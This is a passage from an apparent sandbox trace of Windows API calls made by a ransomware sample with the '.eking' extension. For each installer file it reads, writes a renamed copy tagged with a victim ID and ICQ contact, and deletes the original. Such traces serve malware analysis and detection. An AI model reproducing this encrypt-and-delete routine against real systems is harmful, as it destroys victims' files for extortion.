(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.006] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.006] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.006] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.006] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.007] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4958, lpOverlapped=0x0) returned 1 [0079.027] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4960, lpOverlapped=0x0) returned 1 [0079.029] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.029] CloseHandle (hObject=0x310) returned 1 [0079.029] CloseHandle (hObject=0x304) returned 1 [0079.030] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0079.032] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.277] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=8876) returned 1 [0079.277] CloseHandle (hObject=0x320) returned 1 [0079.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0079.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0079.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.279] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.279] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.279] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0079.280] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x22ac, lpOverlapped=0x0) returned 1 [0079.303] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x22b0, lpOverlapped=0x0) returned 1 [0079.304] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0079.304] CloseHandle (hObject=0x304) returned 1 [0079.304] CloseHandle (hObject=0x310) returned 1 [0079.307] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0079.309] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.309] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3188) returned 1 [0079.309] CloseHandle (hObject=0x310) returned 1 [0079.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0079.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0079.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.310] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.310] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.310] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.310] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.312] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xc74, lpOverlapped=0x0) returned 1 [0079.419] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xc80, lpOverlapped=0x0) returned 1 [0079.421] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0079.421] CloseHandle (hObject=0x310) returned 1 [0079.421] CloseHandle (hObject=0x304) returned 1 [0079.423] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0079.425] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.425] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=77232) returned 1 [0079.425] CloseHandle (hObject=0x304) returned 1 [0079.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0079.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0079.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.426] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.426] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.426] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.426] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0079.426] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x12db0, lpOverlapped=0x0) returned 1 [0079.430] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x12dc0, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.433] CloseHandle (hObject=0x304) returned 1 [0079.434] CloseHandle (hObject=0x310) returned 1 [0079.439] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0079.441] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.442] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=17240) returned 1 [0079.442] CloseHandle (hObject=0x310) returned 1 [0079.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0079.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0079.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.442] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.442] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.442] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.442] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.443] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4358, lpOverlapped=0x0) returned 1 [0079.585] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4360, lpOverlapped=0x0) returned 1 [0079.588] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.588] CloseHandle (hObject=0x310) returned 1 [0079.588] CloseHandle (hObject=0x304) returned 1 [0079.592] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0079.594] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.594] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18264) returned 1 [0079.594] CloseHandle (hObject=0x304) returned 1 [0079.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0079.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0079.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.595] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.595] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.595] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.595] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0079.595] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4758, lpOverlapped=0x0) returned 1 [0079.629] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4760, lpOverlapped=0x0) returned 1 [0079.630] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.630] CloseHandle (hObject=0x304) returned 1 [0079.630] CloseHandle (hObject=0x310) returned 1 [0079.637] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0079.638] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.638] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3526) returned 1 [0079.638] CloseHandle (hObject=0x310) returned 1 [0079.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0079.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0079.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.644] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.644] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.644] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.644] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0079.646] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xdc6, lpOverlapped=0x0) returned 1 [0079.733] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xdd0, lpOverlapped=0x0) returned 1 [0079.734] WriteFile (in: hFile=0x304, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0079.734] CloseHandle (hObject=0x310) returned 1 [0079.735] CloseHandle (hObject=0x304) returned 1 [0079.762] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0079.763] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.764] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=82962) returned 1 [0079.764] CloseHandle (hObject=0x304) returned 1 [0079.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0079.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0079.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.764] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0079.764] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.764] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0079.764] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0079.764] ReadFile (in: hFile=0x304, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x14412, lpOverlapped=0x0) returned 1 [0079.859] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x14420, lpOverlapped=0x0) returned 1 [0079.861] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0079.862] CloseHandle (hObject=0x304) returned 1 [0079.862] CloseHandle (hObject=0x310) returned 1 [0079.864] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0079.866] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.866] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18776) returned 1 [0079.866] CloseHandle (hObject=0x310) returned 1 [0079.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0079.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0079.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.867] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 